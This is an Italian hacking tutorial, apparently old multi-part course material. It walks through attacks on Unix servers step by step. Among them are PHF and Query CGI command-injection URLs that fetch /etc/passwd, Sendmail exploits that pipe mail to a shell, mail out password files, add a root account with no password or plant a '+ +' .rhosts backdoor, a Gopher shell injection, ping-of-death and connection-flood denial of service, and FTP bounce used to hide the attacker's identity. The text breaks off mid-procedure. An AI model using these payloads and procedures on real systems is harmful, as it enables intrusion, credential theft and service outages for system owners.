gli hack piu` conosciuti (tra cui PHF e Query). Potrebbero far sospendere il vostro account Internet, se non denunciarvi...  Ma prima dobbiamo fare un breve corso sul sistema di password di Unix.   TECNICHE DI BASE: UNIX E LE PASSWORD ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Riflettiamo un attimo: qual'e` la parte piu` interessante di un sistema Unix (o Linux) ?  Certamente il file delle password, nel quale si trova, in forma criptata, anche la password di root (oltre a quelle di tutti gli altri utenti).  Una classica entry (riga di testo contentente dati) di un file password e` di questo tipo:  username:4cFJg5aMkC9f:1000:20:nome e cognome:/home/utente:/bin/ksh  I campi sono delimitati dai due punti, e sono:   - Nome utente (username)   - Password criptata   - Numero utente   - Numero gruppo   - GECOS (nome e cognome, oppure altre informazioni sull'utente)   - Directory utente (dalla quale in genere non potete uscire)   - Shell utilizzabile dall'utente (in genere limitata se non siete root)  nel caso in cui uno o piu` campi siano disabilitati, li troverete vuoti (i due punti saranno vicini) oppure troverete uno slash (/) al loro posto. Nel caso della shell, in alcuni casi troverete /bin/false che, in pratica, corrisponde allo slash (e quindi a nessuna shell).  Ma dove si trova il file delle password?  La directory standard e` /etc e il file si chiama passwd, quindi il percorso completo sarebbe /etc/passwd ma la maggior parte dei nuovi sistemi ha un meccanismo denominato "shadowing" delle password.  Per evitare di prelevare il file contentente le password, infatti, viene creato un secondo file, il cui nome in genere e` shadow (in molti casi si trovera` nella directory /etc) che contiene, in forma un po` diversa da quella appena vista, tutti i campi, comprese quindi le password (criptate), e NON e` accessibile agli utenti. Il file passwd, invece, conterra` tutti i soliti campi, ma al posto della password conterra` un simbolo, detto Token (che in genere e` un asterisco).  Perche` questo?  Le password sono criptate, ma e` ancora possibile risalire ad esse, crackarle (da "crack").  Non si possono decriptare, ma si puo` usare una lista di parole probabili (detta dizionario), criptarle una per una e confrontare il risultato con le password criptate in passwd.  Se coincidono, abbiamo trovato una password. Ovviamente per fare tutto cio` si usano dei programmi appositi.  I piu` usati (e i migliori) sono CrackerJack e HellFire Cracker.  Praticamente tutti i siti Web contenenti materiale per hackers ne hanno una copia.  Tornando alle password, se un sistema usa lo shadowing, per risalire al vero file delle password, in base al sistema operativo usato potremo trovarlo in directory differenti, come mostrato in questa tabella tratta dalla HackFAQ:  Sistema Unix          Path (percorso) del file        Token ---------------------------------------------------------------- AIX 3 (caso 1)        /etc/security/passwd            ! AIX 3 (caso 2)        /tcb/auth/files/p/pippo         # A/UX 3.0s             /tcb/files/auth/?/              * BSD4.3-Reno           /etc/master.passwd              * ConvexOS 10           /etc/shadpw                     * ConvexOS 11           /etc/shadow                     * DG/UX                 /etc/tcb/aa/user/               * EP/IX                 /etc/shadow                     x HP-UX                 /.secure/etc/passwd             * IRIX 5                /etc/shadow                     x Linux 1.1             /etc/shadow                     * OSF/1                 /etc/passwd[.dir|.pag]          * SCO Unix #.2.x        /tcb/auth/files/p/pippo         * SunOS4.1+c2           /etc/security/passwd.adjunct    ##username SunOS 5.0             /etc/shadow                     * System V Release 4.0  /etc/shadow                     x System V Release 4.2  /etc/security/* database        * Ultrix 4              /etc/auth[.dir|.pag]            * UNICOS                /etc/udb                        *  Ora che sappiamo cosa cercare (e dove), passiamo alle tecniche da impiegare.  Un file /etc/passwd standard puo` spesso essere prelevato tranquillamente con FTP oppure collegandosi ad un indirizzo come:     <a href="http://www.sito.com/ftp/etc/passwd">http://www.sito.com/ftp/etc/passwd</a>  oppure...     <a href="ftp://ftp.sito.com/etc/passwd">ftp://ftp.sito.com/etc/passwd</a>  tenendo pero` presente che in genere i SysAdmin leggono i log... scaricando il loro file delle password non li farete certo felici. Quindi, non appena riuscirete a procurarvi username e password di un account (che non sia ne` vostro ne` di amici, se ci tenete alle amicizie...) e` consigliabile utilizzare quello anziche` il vostro account.  Una volta prelevato /etc/passwd diamogli un'occhiata: se il secondo campo di ciascun rigo (o di almeno un paio di essi) contiene una password criptata, possiamo essere quasi sicuri che non esista nessuno shadowing. Dico *quasi* perche` alcuni grossi server stranieri hanno recentemente usato dei file passwd fittizi.  Crackandoli e provando a collegarsi con le password trovate, non si riesce a collegarsi... perche` sono tutte false e servono a depistare l'hacker inesperto.  E` raro che accada, ma e` da tener presente.  Nel caso dovessimo trovare un Token al posto della password, ci affideremo alle tecniche di cui parlavamo in principio.  Il primo hack che descriveremo e` quello del PHF.  PHF e` una piccola utility di "agenda telefonica" presente in Unix, Linux, ecc.  Anch'essa puo` essere usata in modo sovversivo, per far eseguire dei comandi qualsiasi a un server.  Basta collegarsi a un URL del genere:    <a href="http://www.sito.com/cgi-bin/phf?Jserver=x&amp;Qalias=x%0A/bin/cat%20/etc/passwd">http://www.sito.com/cgi-bin/phf?Jserver=x&amp;Qalias=x%0A/bin/cat%20/etc/passwd</a>  oppure piu` semplicemente...    <a href="http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd">http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd</a>  usando /etc/shadow (o altri, vedi tabella sopra) al posto di /etc/passwd per "prelevare" il vero file delle password.  Quello che avviene "chiamando" questi URL e` che il file PHF viene eseguito (vengono passati parametri fittizi, come Jserver e Qalias) e poi si simula un invio a capo (codice %0A) per inviare un nuovo comando, che nel nostro caso e` /bin/cat /etc/passwd (%20 equivale allo spazio, ma si puo` usare anche "+" al suo posto), ma puo` essere *qualsiasi* comando si voglia.  In quel momento, infatti, abbiamo accesso root! =) E come tali, possiamo eseguire comandi, creare, modificare, distruggere...  NOTA: il file /bin/cat equivale al comando "type" del DOS.  Serve quindi a visualizzare un file, e occasionalmente anche a crearne uno o ad aggiungere righe di testo ad uno pre-esistente.  Supponiamo di voler inserire una riga nel file "prova": in tal caso, useremo "cat" unitamente ai simboli di ridirezione &gt; e &gt;&gt; e | (pipe), proprio come nel DOS. Alcuni esempi:     /bin/cat prova &gt; test      crea un file col nome test e vi scrive "prova"    /bin/cat prova &gt;&gt; test     aggiunge la parola "prova" al file "test"  Ovviamente per crackare un file shadow che, come abbiamo detto, usa un formato differente, dovremo prima effettuare il de-shadowing (trasformare shadow in formato passwd standard) e poi effettuare il cracking con i normali CrackerJack e simili. Esistono su Internet programmi appositi per tale operazione.  Una tecnica molto simile a quella del PHF e` quella del Query:     <a href="http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd">http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd</a>  che funziona in modo analogo a quello gia` visto del PHF. Dopo il "?" andrebbe inserito qualcosa da richiedere al server, ma poiche` a noi interessa solo eseguire comandi, ci "limiteremo" ancora una volta a scriverli dopo il codice %0A.  Un'ultima cosa che puo` tornarci utile e` che molti server hanno un file chiamato test-cgi nella directory cgi-bin.  Se tale file contiene il comando:     echo QUERY_STRING = $QUERY_STRING  potremo, ad esempio, dare un'occhiata alla directory di root ("/*") con il seguente URL:     <a href="http://www.sito.com/cgi-bin/test-cgi?/">http://www.sito.com/cgi-bin/test-cgi?/</a>*  o della directory corrente usando solo "*" anziche` "/*", e cosi` via.   POSTILLA ~~~~~~~~ Che lo si creda o meno, nonostante queste tecniche siano abbastanza vecchie e utilizzatissime, sono parecchi i server (anche quelli "importanti") che sono vulnerabili.  Spesso inoltre non registrano neppure l'IP Address dell'hacker. Ovviamente se il server vi risponde qualcosa come "il tuo tentativo di hackerare questo server sara` comunicato a chi di dovere" (in inglese) state pur certi che vi troverete nei guai.  Quindi aspettate di diventare hackers prima di mettere in pratica... conoscere le tecniche non basta.  Se credete di essere gia` diventati hackers conoscendole, mi dispiace deludervi... vi potrete solo mettere nei guai e farvi etichettare per sempre come patetici "lamer" (termine dispregiativo del gergo hacker per indicare un hacker nato perdente). TECNICHE DI BASE: MISCELLANEA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nel volume precedente abbiamo visto come sfruttare alcuni problemi di sicurezza del software server.  Dal momento che e` necessario conoscere tipo e versione del software e sistema operativo, dobbiamo sapere come avere tali informazioni.  Ancora una volta ci torna comodo utilizzare Telnet.  Bastera` infatti collegarsi alla porta del servizio interessato per ottenere quasi sempre informazioni preziose.  Ad esempio, se ci colleghiamo alla porta HTTP, FTP o SMTP, il server ci "salutera`" indicandoci tipo e versione del software, data locale e altre utili informazioni. Altre ancora possiamo ottenerle tramite il programma "finger", che serve a mostrare informazioni su un dato utente di un dato sistema. Alcuni siti inoltre ci risparmiano la fatica di cercare: infatti, i Webmaster dopo aver acquistato un "potente" software server, scrivono orgogliosi sulle loro pagine "questo sito utilizza il software xxxxx versione yyyyy"...  Un'ulteriore nota sulla porta HTTP: i vecchi server (versioni fino alla 1.3) di httpd (per Unix e Linux) possono essere crashati richiedento un URL con un formato sbagliato.  Esistono in giro diversi exploit sull'argomento, e pertanto vi rimando alle mailing list sulla sicurezza su Internet.  NOTA: da ora in poi quando parlero` di Unix mi riferiro` anche a Linux, AIX, Solaris, ecc. a meno che sia diversamente specificato.  Prima di procedere vorrei farvi notare che non e` necessario scrivere in tempo reale i vostri comandi in Telnet (anche perche` correte il rischio di sbagliare e non poter cancellare).  Moltissimi client hanno le funzioni Copy e Paste (Copia e Incolla), che potete usare unitamente a un programma di videoscrittura (come il Block Notes di Windows) per velocizzare le operazioni (e ridurre il numero di cifre sulla vostra bolletta telefonica). Vi bastera` infatti scrivere tutti i comandi nel block notes, usare Copy e poi, una volta in Telnet, usare Paste.  Un consiglio: non usate testi troppo lunghi, perche` alcuni server potrebbero non essere abbastanza veloci per riceverli.  Altri programmi vulnerabili a un attacco tramite Telnet sono Finger, Ping, Gopher, Pine e altri; in pratica, per quasi tutti quelli esistenti esiste un hack su misura.  Ovviamente per capire di cosa sto parlando vi serviranno i programmi in questione.  Iniziamo da finger.  Usando @ oppure 0 (o uno degli username standard come root, bin, ftp, system, demo, guest, ecc.) nell'effettuare una richiesta tramite finger e` possibile ottenere (specie con i vecchi server) svariate informazioni.  Ma supponiamo ora di voler crashare il server finger.  Per quale motivo? Siamo tutti hackers.malicious o crackers? ;)  No, il motivo e` un altro: se il server finger (per Unix) dovesse crashare, noi avremmo accesso root. Perche`?  Se il server crasha, non avremo piu` un "interprete" dall'altra parte che "filtra" i nostri comandi e ci da informazioni quando scriviamo finger... ma avremo una specie di connessione diretta alla shell dei comandi con il livello d'accesso massimo (root, per l'appunto).  Ecco come si fa: (non sbavate, siamo ancora al principio ;) utilizzando Telnet, il cui scopo e` fornire una connessione e lasciarla nelle nostre mani, ci colleghiamo alla porta 79 (finger) del server desiderato (assicuriamoci pero` prima che il sistema operativo sia effettivamente Unix e che abbia il server finger attivato). Ora, quello che fa un normale client finger e` semplicemente inviare il comando "finger nomeutente" e visualizzare le informazioni ricevute. Nient'altro.  E` uno spreco... tanto potere buttato al vento =) E pensare che finger ha anche accesso a tutte le directory degli utenti, e a saperlo controllare si potrebbero anche "ritoccare" i vari files...  Ma noi, che abbiamo ben altre intenzioni (buone... lo dico per il NOPT, il Nucleo Operativo di Polizia Telematica ;) possiamo fare di meglio.  Scrivendo ///* seguito dalla combinazione Ctrl-S accederete a root e paralizzerete il server (Ctrl-S e` un codice di controllo detto "freeze", cioe` "congela").  A questo punto la connessione e` in mano vostra.  Il client finger puo` essere usato per un attacco di tipo D.O.S. (Denial Of Service, cioe` negare l'accesso a un servizio disattivandolo). Se usiamo finger per collegarci a un server troppe volte (lasciando "aperta" ogni connessione) dopo un po` il server rifiutera` a chiunque altro di collegarsi, e l'intero server del sito verra` rallentato; in alcuni casi potrebbe addirittura crashare. Per fare una cosa del genere bisognerebbe chiamare decine di volte lo stesso programma... una soluzione migliore consiste nel programmare da se` una utility che effettui molte connessioni alla stessa porta dello stesso server.  Se il vostro client lo consente, potete nascondere il vostro IP Address effettuando un "bounce" (rimbalzo).  In pratica si tratta di richiedere a un server di fare la stessa richiesta a un altro server, per far risultare come "richiedente" il suo IP Address anziche` il nostro. Il comando e` nel formato: finger @sito.com@altrosito.com  Non preoccupatevi se non avete capito tutto: vi torneranno utili quando dovrete studiare un attacco e conoscerete meglio l'Arte.  Nota su finger: alcuni siti (mi sembra di ricordare quello della Microsoft) disabilitano finger per evitare problemi... in alcuni casi pero` si limitano a disabilitarlo, NON a cancellarlo dalla directory del server. Potrete quindi accedervi usando questo URL:    <a href="http://www.sito.com/cgi-bin/finger">http://www.sito.com/cgi-bin/finger</a>  e per passare i parametri aggiungete "?" e i vostri comandi con il metodo della codifica degli URL descritta nei volumi precedenti.  Personalmente non ho provato la tecnica del ///*^S su server non-Unix (come Windows NT e 95) in quanto essa e` basata sulla struttura di Unix.  Comunque potrebbe essere interessante provare; da cosa nasce cosa...  Passiamo ora a Ping.  Combinato a Finger, Ping e` eccellente per effettuare un attacco D.O.S. in quanto e` utilizzato praticamente ovunque, e non correte il rischio di non poterlo utilizzare come accade in alcuni casi con Finger.  Per chi non lo conosce, diciamo che Ping e` un programma per controllare la presenza di un sito su Internet e valutare la sua velocita` di collegamento.  Il funzionamento e` molto simile: aprire molte connessioni a un server, fino a che questo collassera` per il troppo lavoro richiesto alla CPU. Se avete la possibilita` di scegliere tra Ping e Ping-f vi consiglio di scegliere quest'ultimo, in quanto e` estremamente piu` veloce.  Linux e` inoltre vulnerabile a un particolare attacco: da un computer che usi Windows 95 o NT si puo` usare questo comando:     ping -l 65510 sito.com  dove sito.com e` un sito che usa Linux (versioni fino alla 2.0.20 esclusa). La macchina si blocchera` e si riavviera` automaticamente. Potete sperimentare anche altri valori tra 65508 e 65527 in luogo di 65510.  Le vecchie versioni di Gopher hanno un serio bug: creando un file .links su un server gopher pubblico, contenente queste linee di testo:  Type=8 Name=Sceglimi Host=;/bin/sh Port= Path=  potete collegarvi a Gopher, entrare nella directory dove avete piazzato il file .links e scegliere la voce "Sceglimi".  Il comando messo dopo "Host=;" verra` eseguito (nel nostro caso, una shell com accesso root). TECNICHE AVANZATE: SENDMAIL ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sarete felici di sapere che questo e` l'ultimo volume sulle tecniche fondamentali e gli exploit.  Dal prossimo inizieremo con l'hacking vero e proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin) quello che faremo di volta in volta.  Ovviamente mi aspettero` che ora che avete abbastanza informazioni di base abbiate chiari concetti come server e client, FakeMail, come fare piccole cose come trovare la versione di un server, ecc.  Se qualcosa non dovesse essere chiaro, non esitate a scrivermi e ad esporre il problema.  Cerchero` di rispondervi non appena avro` trovato abbatanza tempo.  NON chiedetemi qual'e` la password di un sito xxx o dove trovare la versione pirata di un gioco.  Siamo hackers, non pirati.  Qualcuno mi ha chiesto perche` sto scrivendo questa "enciclopedia". Beh, forse perche` e` quello che ho sempre cercato e non ho mai trovato quando volevo imparare l'hacking... e poi credo che sia molto piu` completa di quei piccoli files sulle basi dell'hacking scritti da hackers, per hackers.  Ma quale sarebbe lo scopo?  Se uno e` gia` hacker, non ha bisogno di imparare le basi di quello che conosce gia`... okay, parentesi chiusa.  Quello che partira` dal prossimo volume sara` pertanto un vero e proprio corso di hacking a puntate (con tanto di supporto via email), dedicato a tutti coloro che mi hanno scritto e hanno creduto in questo progetto di divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo).  Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione del servizio di posta elettronica di Unix.  Il programma server che risponde a chi si collega alla porta SMTP (25) e` chiamato Sendmail.  Come abbiamo visto in un precedente volume, all'atto del collegamento via Telnet avremo una risposta di questo genere:  220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT  (il numero di versione di un server lo troviamo anche sbirciando tra gli headers delle emails che riceviamo quotidianamente).  I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la versione del server SMTP.  Mettiamo una volta per tutte in chiaro che SMTP e` il nome del servizio (della porta 25) e Sendmail e` il nome del programma che si occupa di gestire SMTP: in pratica Sendmail e` il server SMTP di Unix.  Dunque, perche` dovremmo voler conoscere il numero di versione di Sendmail?  Sendmail e` famoso tra gli hackers come il programma piu` "bacato" esistente. Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche quelle piu` nuove) hanno un qualche bug che un hacker puo` sfruttare per guadagnare illecitamente accesso a un sistema.  E il bello e` il modo in cui lo si fa; non tramite una password o chissa` cosa, ma dalla parte piu` "innocua" di un sistema informatico: la posta elettronica!  Vogliamo vedere cosa si puo` fare con Sendmail? :)  Iniziamo con le sottoversioni della 8.6 (piu` precisamente le 8.6.6 e 8.6.7). Vogliamo una shell root?  Niente di piu` facile: bastera` chiamare il programma Sendmail con il parametro -d seguito da un numero molto grande, come nel seguente esempio:     Sendmail -d3344556677  Se non avete un accesso diretto al server (e quindi state "lavorando" da remoto) avrete bisogno di una shell per "chiamare" Sendmail. Come ottenerla sara` oggetto dei prossimi volumi, ma se andate di fretta potete sempre prendere un file passwd o shadow e crackarlo per avere accesso shell.  L'ideale sarebbe un account di quale Universita`... Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per eseguire il comando senza bisogno di shell interattiva. Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia, prima di mettere in pratica... ancora non sapete come nascondervi in un sistema, quindi non abbiate fretta.  Se proprio volete testare qualcosa, procuratevi Linux (se non l'avete gia`), installatelo sul VOSTRO computer e provate.  Per la cronaca, la sottoversione 8.6.9 non e` vulnerabile a quest'attacco, ma anche qui si puo` avere una shell root, utilizzando un exploit che si trova sui siti per hackers.  Si tratta di un programmino in C (creato da Atreus). Non lo includo perche` dalla versione 8.6.12 (compresa) in poi tale exploit non funziona.  NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto spesso anche risolti proprio dagli hackers.  Se non ci fossero gli hackers saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per avere tutto un computer ai propri comandi.  Un motivo in piu` per smettere di prendersela con noi se si assume personale incapace di gestire seriamente un sistema informatico, sia esso in rete o meno.  Ci sono molte altre versioni 8.x.x bacate, ma poiche` si tratta di piccoli bug tutti diversi e` consigliabile cercare quello che interessa sul sito di 8lgm (<a href="http://www.8lgm.org/">http://www.8lgm.org</a>), che elenca tutti i bug e ne da` un hack completo per ciascuno, o su L0pht (<a href="http://www.l0pht.com/">http://www.l0pht.com</a>).  Unix assegna un livello utente (UID, cioe` User IDentifier) e un livello di gruppo (GID, cioe` Group IDentifier) a ciascun utente. Un UID pari a 0 e` (quasi sempre) un utente root. Se ad esempio nel file passwd di un sito troviamo...     root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh  il primo numero (0) e` UID e il secondo (0) e` GID.  E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e diventare root :)  Supponiamo infatti di aver crackato la password di un utente qualsiasi, ma di non riuscire ad accedere a root... come fare? Utilizzando questo hack sul Sendmail.  Bisognera` innanzitutto avere accesso a una shell; molti utenti hanno una shell, anche se limitata, ma servira` allo scopo.  Se proprio non riuscite a procurarvene una, collegatevi a una delle tantissime BBS via Telnet presenti su Internet.  Esse sono quasi sempre ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti. Non sono shell root... ma sapremo accontentarci, dal momento che da una shell ad accesso limitato si puo` arrivare a root. Alcuni siti, come quello di Lord Somer (<a href="http://www.ilf.net/LordSomer/">http://www.ilf.net/LordSomer/</a>), hanno intere liste di BBS Telnet.  Dovete solo scegliere quella che preferite.  Dicevamo, come forzare UID a 0 ora che abbiamo una shell? Digitando quanto segue:  % cat ~/.forward                                     &lt;-- noi
                                                     &lt;-- noi
miosito.com miousername                              &lt;-- noi
^D                                                   &lt;-- noi (premere Ctrl-D)
% smail -bs -D ~root/.rhosts -v20                    &lt;-- noi
220 provider.com Sendmail x.x.x.x ready ecc...       &lt;-- server
expn root                                            &lt;-- noi
250 &lt;root&gt;                                           &lt;-- server
quit                                                 &lt;-- noi
% rsh -l root lamesite.com tcsh\ -i                  &lt;-- noi
WARNING: no access to TTY (bad file number)          &lt;-- server
# id                                                 &lt;-- noi
UID=0 GID=0                                          &lt;-- server

Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il
nostro UID e il nostro GID sono uguali a 0... il che significa... beh, lo
avete capito =)

I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi;
basti pensare alla versione 5.64 che permette di sfruttare il programma
"decode" (uudecode) di Unix per "eliminare" l'accesso tramite password.
In pratica, inviando una FakeMail (con Telnet) di questo tipo:

HELO hacker.com
MAIL FROM: bin
RCPT TO: decode
DATA
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
.
QUIT

sara` poi possibile utilizzare un client rlogin per collegarsi senza bisogno
di password.  Ma come e` stato possibile?  Quello che e` successo e` questo:
il file .rhosts di Unix contiene una lista di hostname e username ai quali
e` consentito l'accesso.  Mettendo un + al posto di hostname e username si
consente l'accesso a chiunque, ed e` esattamente questo cio` che abbiamo
fatto: la linea dopo "begin 644..." non e` altro che tale comando (+ +)
codificato con il programma encode (uuencode).  Inviando questa FakeMail a
decode (uudecode) quel codice verra` ritrasformato in "+ +" e scritto nel
file /usr/bin/.rhosts (vedi sopra).
Bastera` dunque procurarsi un client rlogin per accedere tranquillamente al
server...

La versione 5.65 di Sendmail (la successiva a quella appena vista, creata
per risolvere quel problema) e` ancora piu` pericolosa... ;)
Infatti basta inviare via Telnet i seguenti comandi:

HELO hackers.com
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
RCPT TO: prova
DATA
From: <a href="mailto:pirata@hackers.com">pirata@hackers.com</a>
Return-Receipt-To: |nessuno

#!/bin/sh
COMANDI
.
QUIT

Al posto di "COMANDI" vanno inseriti uno o piu` comandi shell (su righe
separate), come ad esempio:

   /bin/mail <a href="mailto:pirata@hackers.com">pirata@hackers.com</a> &lt; /etc/passwd

per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure:

   echo prova::0:0::/:/bin/sh &gt;&gt; /etc/passwd  per aggiungere l'account "prova" (con accesso root, senza password, con shell root e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due &gt;&gt; anziche` uno solo).  O ancora:     chmod 777 /etc/passwd  per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o:     cp /bin/sh /tmp/pirata    chmod 6777 /tmp/pirata  dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp col nome di "pirata" (vi consiglio di cambiare questo nome :) Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un utente qualunque.  Tale file non e` altro, come abbiamo visto, che la shell. Quindi bastera` andare in /tmp ogniqualvolta vi servira` una shell root, e digitare "pirata" per invocare la shell ed eseguire un qualsiasi comando.  Un altro hack famoso e` quello dell'attacco del pipe, funzionante su versione 5.56 (e altre).  Funziona cosi`: si prepara una semplice FakeMail del tipo...  HELO hacker.com MAIL FROM:&lt;"|/bin/mail <a href="mailto:pirata@hackers.com">pirata@hackers.com</a> &lt; /etc/passwd"&gt; RCPT TO:&lt;"<a href="mailto:pirata@hotmail.com">pirata@hotmail.com</a>"&gt; DATA questa e` una prova... . QUIT  e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail. Naturalmente si potra` usare qualsiasi comando dopo il pipe (il "|").   TECNICHE AVANZATE: FTP BOUNCE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Passiamo ora a qualcosa di veramente interessante: FTP.  Vi chiederete: ma FTP non serve solo a trasferire i file? La risposta e` no.  Beh, dovrebbe essere si... ma sapete com'e`... un hacker e` un po` come un bambino curioso che si diverte di piu` a "smontare" un giocattolo che a usarlo per quello a cui servirebbe =)  Innanzitutto sappiate che FTP altro non e` che una sessione di Telnet con qualche piccolo extra in piu` (il trasferimento di file).  Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi anche FTP e` gestibile (in parte) tramite Telnet.  La tecnica che ci accingiamo a studiare e` detta "FTP Bounce" (rimbalzo dell'FTP).  Vi servira` innanzitutto un server FTP che vi permetta di inviare e prelevare files da una directory qualsiasi.  Potete tranquillamente trovare tali server cercando la parola "warez" (software commerciale piratato) con un motore di ricerca di files come "FTP Search" (<a href="http://ftpsearch.ntnu.no/ftpsearch">http://ftpsearch.ntnu.no/ftpsearch</a>), oppure "Filez" (<a href="http://www.filez.com/">http://www.filez.com</a>); prendete nota anche della directory che verra` visualizzata accanto al nome del server che la contiene.  Ora provate a collegarvi a uno di quei server, ed a entrare nella directory "warez" (o un'altra in cui si possano leggere e scrivere i files).  Provate a inviare un file di prova e a prelevarlo di nuovo, per controllare se e` questo il server "giusto".  Se tutto funziona, lo avete trovato, altrimenti usatene un altro (ce ne sono moltissimi).  Questo server sara` la vostra "base".  In tutti gli attacchi che effettuerete verra` visualizzato l'IP Address di questo server, anziche` il vostro.  Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a qualsiasi nostro bisogno, per poter magari anche inventare nuovi metodi di utilizzo a seconda delle necessita`.  Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i comandi che vogliamo far eseguire (in base a cio` che vogliamo fare). Non preoccupatevi ora del suo contenuto.  Per ora ci interessa solo studiare il funzionamento della tecnica, e poi procedere con gli esempi.  Ora ci servira` un normale programma client FTP (come Cute-FTP e WS-FTP se usate Windows, oppure il comando FTP di Linux).  Lo useremo per inviare il file di cui sopra nel server "base" che abbiamo scelto prima.  Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet. La porta di FTP e` la numero 21.  Colleghiamoci dunque al server "base" alla porta 21 e aspettiamo una risposta.  Ora potremo inserire i comandi:     USER anonymous    PASS <a href="mailto:nessuno@niente.com">nessuno@niente.com</a>  e, se l'accesso anonimo e` abilitato (come succede nel 90% dei casi), il server rispondera` qualcosa come "User anonymous logged in".  Siamo dentro.  Dobbiamo ora conoscere l'IP Address del server da attaccare.  Percio` avremo bisogno di un programma DNS per risalire dall'host name all'IP Address.  Ora digitiamo (in Telnet) il comando PORT x,x,x,x,0,y dove x,x,x,x e` l'IP Address del server da attaccare e y e` la porta del servizio da attaccare (21 per FTP, 80 per il Web, e cosi` via). Notate che l'IP Address in questo caso non usa punti per separare i numeri ma delle virgole.  Quello che succede inserendo il comando PORT e` questo: diciamo al server FTP di collegarsi all'IP Address e alla porta che gli diamo come parametri. In pratica, sara` il server FTP a collegarsi, anziche` noi... abbiamo cosi` il server come "complice", in quanto sara` lui a fare tutte le operazioni e le eventuali tracce lasciate saranno le sue! :)  Noi siamo nell'ombra... (vi renderete conto che questo e` un ottimo mezzo per nascondere in un modo impensabile le proprie tracce, qualsiasi cosa vi serva fare).  Bastera` ora digitare RETR nomedelfileinviato e tutti i comandi desiderati saranno inviati dalla "base" alla "vittima".  Ma ora basta teoria, passiamo a qualche esempio esplicativo.  Vogliamo ad esempio inviare una FakeMail impossibile da rintracciare? Allora studiamo il problema in questi termini:  1) quali tipi di comandi dovremo inserire nel file? 2) quale servizio stiamo hackerando? 3) quale server useremo come destinazione?  Ecco le risposte:  1) i comandi saranno per SMTP, dovendo noi inviare una FakeMail 2) il servizio e`, come abbiamo appena detto, la posta, cioe` SMTP 3) un qualsiasi server SMTP andra` bene; usaremo DNS per conoscerne l'IP    Address (che in questo esempio supponiamo essere 123.45.67.89)  Ora ci colleghiamo, come abbiamo fatto prima, al server "base" (FTP) con il client FTP e inviamo i comandi (che avremo scritto prima di iniziare il collegamento) della FakeMail: HELO, MAIL FROM, ecc. (la solita FakeMail).  Adesso useremo Telnet sul server "base" (la porta e` sempre 21, fin qui rimane sempre tutto uguale) e digitiamo PORT 123,45,67,89,0,25 dove 123,45,67,89 e` l'IP Address del server che dovra` eseguire il nostro file (il server di posta), ma con le virgole anziche` i punti (questo e` il formato richiesto da FTP), mentre 25 e` la porta SMTP.  Infine scriveremo RETR nomedelfileinviato per avviare l'esecuzione dei comandi.  Dopo poco tempo la FakeMail verra` inviata dal server, ma senza un IP Address che riveli la nostra identita`.  NOTA IMPORTANTE: alla fine del file dei comandi bisogna aggiungere circa 60 kilobyte di byte 0, affinche` la connessione duri abbastanza e non si interrompa bruscamente.  Per creare tale file basta usare "debug" (sotto DOS) scrivendo:     DEBUG PROVA                                       &lt;-- noi
   File non trovato
   -f 100,F000,0                                     &lt;-- noi
   -rcx                                              &lt;-- noi
   :0000
   EA60                                              &lt;-- noi
   -w                                                &lt;-- noi
   Scrittura di EA60 bytes in corso...
   -q                                                &lt;-- noi

Ora un file chiamato "PROVA" di dimensioni 60000 byte sara` stato creato.
Se il nostro file dei comandi l'abbiamo chiamato "comandi" (che fantasia...)
scriveremo:

   copy /b comandi+prova finale

E un nuovo file, "finale", verra` creato.  Questo sara` il file da inviare.

ATTENZIONE: questo va fatto TUTTE le volte che useremo il metodo dell' FTP
Bounce, non solo nel caso della FakeMail.

Facciamo ora un altro esempio, un po` piu` complesso.

A volte capita di trovare un server che non ci permette di prelevare un file
perche` magari il provider da cui chiamiamo e` in Italia e il suddetto server
invece si trova all'estero e non vuole dare accesso a chi proviene da *.it e
cose del genere.  Come fare, allora?

Creeremo un file dei comandi contenente quanto segue:

        user anonymous
        pass <a href="mailto:nessuno@niente.com">nessuno@niente.com</a>
        cwd /directory/dove/si/trova/il/file
        type i
        port X,X,X,X,Y,Y
        retr nome_del_file_da_prelevare
        quit

(ovviamente anche questo file va "trattato" con debug e copy).

Chiamiamo questo file con un nome come "bounce".

Nel file sopra dovrete sostituire directory e nome file.  X,X,X,X e` il
*vostro* IP Address, e Y,Y e` spiegato piu` giu`.

Ecco cosa bisogna fare:

- Collegatevi con Telnet alla porta 21 del server "base"
- Scrivete PASV (e invio, ovviamente)
- Il server rispondera` con qualcosa come 111.22.33.44,0,21
  Prendete nota degli ultimi due numeri (0 e 21)
- Scrivete STOR hahaha
- Ora Telnet si blocchera`, poiche` sta aspettando i dati da inviare
